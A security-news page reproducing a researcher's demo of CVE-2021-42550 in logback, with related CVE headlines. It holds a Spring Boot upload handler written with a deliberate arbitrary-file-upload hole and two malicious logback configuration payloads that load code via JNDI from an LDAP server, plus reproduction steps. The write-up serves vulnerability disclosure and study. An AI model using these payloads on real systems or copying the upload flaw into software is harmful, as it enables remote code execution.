Security
Headlines
HeadlinesLatestCVEs

Headline

CVE-2021-42550: GitHub - cn-panda/logbackRceDemo: The project is a simple vulnerability Demo environment written by SpringBoot. Here, I deliberately wrote a vulnerability environment where there are arbitrary file up

In logback version 1.2.7 and prior versions, an attacker with the required privileges to edit configurations files could craft a malicious configuration allowing to execute arbitrary code loaded from LDAP servers.

CVE
#sql#vulnerability#git#java#rce#ldap#log4j#ssl

TL;DR

In general, the triggering method of the vulnerability described in the following is relatively difficult, unless the following conditions can be met:

  1. The configuration file of logback can be modified or overwritten
  2. Able to make the modified configuration file take effect

Summary****Affected version

logback-classic <=1.2.7

Environment

SpringBoot 2.6.1 

JDK8u111(Please note the available versions of JNDI)

Project address

https://github.com/cn-panda/logbackRceDemo

The project is a simple vulnerability demo environment in springboot, The key function is upload:

public String upload(@RequestParam(“file”) MultipartFile file) {
if (file.isEmpty()) {
return "Upload failed, please select a file!!";
}

String fileName = file.getOriginalFilename();  
String filePath = Thread.currentThread().getContextClassLoader().getResource("").getPath();;  
System.out.println(filePath);  
File dest = new File(filePath,fileName);  
try {  
    file.transferTo(dest);  
    LOGGER.info("Upload succeeded!!");  
    return "Upload succeeded!!";  
} catch (IOException e) {  
    LOGGER.error(e.toString(), e);  
}  
return "Upload failed!!";  

}

The main function of this method is to upload files.

The configuration file of logback in the project is as follows:

The key point is the scan attribute, which is used by logback to periodically scan the configuration file for changes.

If the configuration file is detected to change, it will update and load the configuration file in real time.

In this project, I deliberately wrote a vulnerability environment with arbitrary file uploads, and then used the scan attribute in the loghack configuration file to cooperate with the logback vulnerability to implement RCE

Note: the upload here is the code I deliberately wrote with file upload vulnerability. It is proposed to propose a possible scenario. It is not the problem of logback itself. Logback only needs this vulnerability to trigger rce. If other vulnerabilities are not used, logback itself is safe

Vulnerability analysis****JNDIConnectionSource

In logback, it is also similar to the Appender of JDBCAppender in log4j1.x —— that is DBAppender

There is an interface called ConnectionSource in DBAppender.

This interface provides a pluggable way to obtain a JDBC connection using the logback class of java.sql.Connection

There are currently three implementation classes: DriverManagerConnectionSource, DataSourceConnectionSource and JNDIConnectionSource.

Each of these three implementation classes can be used to achieve RCE.

But unlike the other two implementation classes, the way JNDIConnectionSource implements RCE is more convenient, because it can implement RCE without relying on other component-dependent gadgets, and only rely on the mechanism provided by the application (JNDI), but DriverManagerConnectionSource and DataSourceConnectionSource must rely on JDBC deserialization vulnerabilities to be able to implement RCE. The restrictions are relatively large, so I will not demonstrate here.

JNDIConnectionSource is logback’s own method, as you can see from the name, it obtains javax.sql.DataSource through JNDI, and then obtains java.sql.Connection instance

In fact, you can find out by observing the code of the getConnection method in JNDIConnectionSource.java:

If dataSource is empty, then let dataSource = lookupDataSource();

Then trigger lookup in lookupDataSource():

Vulnerability recurrence

First download the reproduced source code, and then run the main function of the RceDemoApplication project:

Then open the browser and type in the address bar: http://localhost:8080, you can visit the project homepage

This means that your vulnerability environment has been built.

Then create a configuration file of logback-spring.xml locally, the content of the file is as follows:

<configuration scan="true" scanPeriod="10 seconds" debug="true">  
      <appender name="STDOUT" class="ch.qos.logback.core.ConsoleAppender">  
             <encoder>  
                <pattern>%-4relative [%thread] %-5level %logger{35} - %msg %n</pattern>  
             </encoder>  
          </appender>  
       <appender name="DB" class="ch.qos.logback.classic.db.DBAppender">  
           <connectionSource class="ch.qos.logback.core.db.JNDIConnectionSource">  
               <jndiLocation>ldap://127.0.0.1:1389/erqtcd</jndiLocation>  
           </connectionSource>  
       </appender>  
     
          <root level="DEBUG">  
             <appender-ref ref="STDOUT" />  
          </root>  
</configuration>

Then visit http://localhost:8080/upload.html, select the file and click the upload button, use BurpSuite to capture the package, you can see that the file is uploaded successfully:

After waiting ten seconds, RCE can be executed successfully

insertFromJNDI

In addition to JNDIConnectionSource, there is actually another configuration that can implement JNDI injection——insertFromJNDI

<insertFromJNDI> is the configuration tag of logback, which is used to set the range of attributes. It supports obtaining attribute values through JNDI. Similarly, if you modify the content of the <insertFromJNDI> tag, you can also achieve JNDI injection

When the <insertFromJNDI> tag is used, it means that the begin method in the InsertFromJNDIAction.java file will be called, and the JNDIUtil.lookup method will be used , thereby triggering the vulnerability:

Vulnerability recurrence

The reproduction steps are roughly the same as in #JNDIConnectionSource, except that the payload used in the uploaded file needs to be changed, as follows:

<configuration scan="true" scanPeriod="10 seconds" debug="true">
   <appender name="STDOUT" class="ch.qos.logback.core.ConsoleAppender">
          <encoder>
             <pattern>%-4relative [%thread] %-5level %logger{35} - %msg %n</pattern>
          </encoder>
       </appender>
    <insertFromJNDI env-entry-name="ldap://127.0.0.1:1389/erqtcd" as="appName" />  

   <root level="DEBUG">
          <appender-ref ref="STDOUT" />
       </root>
</configuration>

Upload the configuration file:

Similarly, after waiting for 10 seconds, RCE can be triggered:

In fact, in addition to these two, the begin in JMXConfiguratorAction can also be used for malicious purposes.

Related news

CVE-2023-6378: News

A serialization vulnerability in logback receiver component part of logback version 1.4.11 allows an attacker to mount a Denial-Of-Service attack by sending poisoned data.

CVE-2023-28069: DSA-2022-258: Dell Streaming Data Platform Security Update for Multiple Third-Party Component Vulnerabilities

Dell Streaming Data Platform prior to 1.4 contains Open Redirect vulnerability. An attacker with privileges same as a legitimate user can phish the legitimate the user to redirect to malicious website leading to information disclosure and launch of phishing attacks.

Red Hat Security Advisory 2022-5532-01

Red Hat Security Advisory 2022-5532-01 - This release of Red Hat Fuse 7.11.0 serves as a replacement for Red Hat Fuse 7.10 and includes bug fixes and enhancements, which are documented in the Release Notes document linked in the References. Issues addressed include HTTP request smuggling, bypass, code execution, denial of service, deserialization, information leakage, memory leak, privilege escalation, and traversal vulnerabilities.

CVE-2022-24406: Full Disclosure: Open-Xchange Security Advisory 2022-07-21

OX App Suite through 7.10.6 allows SSRF because multipart/form-data boundaries are predictable, and this can lead to injection into internal Documentconverter API calls.

Open-Xchange issues fixes for RCE, SSRF bugs in OX App Suite

Security release also includes precautionary patches for potential Log4j-like flaw in Logback library

Open-Xchange App Suite 7.10.x Cross Site Scripting / Command Injection

Open-Xchange App Suite versions 7.10.6 and below suffer from OS command injection and cross site scripting vulnerabilities. One particular cross site scripting issue only affects versions 7.10.5 and below.

RHSA-2022:5532: Red Hat Security Advisory: Red Hat Fuse 7.11.0 release and security update

A minor version update (from 7.10 to 7.11) is now available for Red Hat Fuse. The purpose of this text-only errata is to inform you about the security issues fixed in this release. Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original. Related CVEs: * CVE-2020-7020: elasticsearch: not properly preserving security permissions when executing complex queries may lead to information disclosure * CVE-2020-9484: tomcat: deserialization flaw in session persistence storage leading to RCE * CVE-2020-15250: ju...

Red Hat Security Advisory 2022-5498-01

Red Hat Security Advisory 2022-5498-01 - Red Hat Satellite is a systems management tool for Linux-based infrastructure. It allows for provisioning, remote management, and monitoring of multiple Linux deployments with a single centralized tool. Issues addressed include HTTP request smuggling, buffer overflow, bypass, code execution, cross site scripting, denial of service, heap overflow, information leakage, privilege escalation, remote shell upload, remote SQL injection, and traversal vulnerabilities.

RHSA-2022:5498: Red Hat Security Advisory: Satellite 6.11 Release

An update is now available for Red Hat Satellite 6.11This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original. Related CVEs: * CVE-2021-3200: libsolv: heap-based buffer overflow in testcase_read() in src/testcase.c * CVE-2021-3584: foreman: Authenticate remote code execution through Sendmail configuration * CVE-2021-4142: Satellite: Allow unintended SCA certificate to authenticate Candlepin * CVE-2021-21290: netty: Information disclosure via the local system temporary directory * CVE-2021-21295: netty: possible request smuggling in HTTP/2 due missing validation * CVE-2021-21409: netty: Request smuggling via content-length header * CVE-2021-30151: sidekiq: XSS via the queue name of the live-poll feature * CVE-2021-32839: python-sqlparse: ReDoS via regular expression i...

CVE: Latest News

CVE-2023-50976: Transactions API Authorization by oleiman · Pull Request #14969 · redpanda-data/redpanda
CVE-2023-6905
CVE-2023-6903
CVE-2023-6904
CVE-2023-3907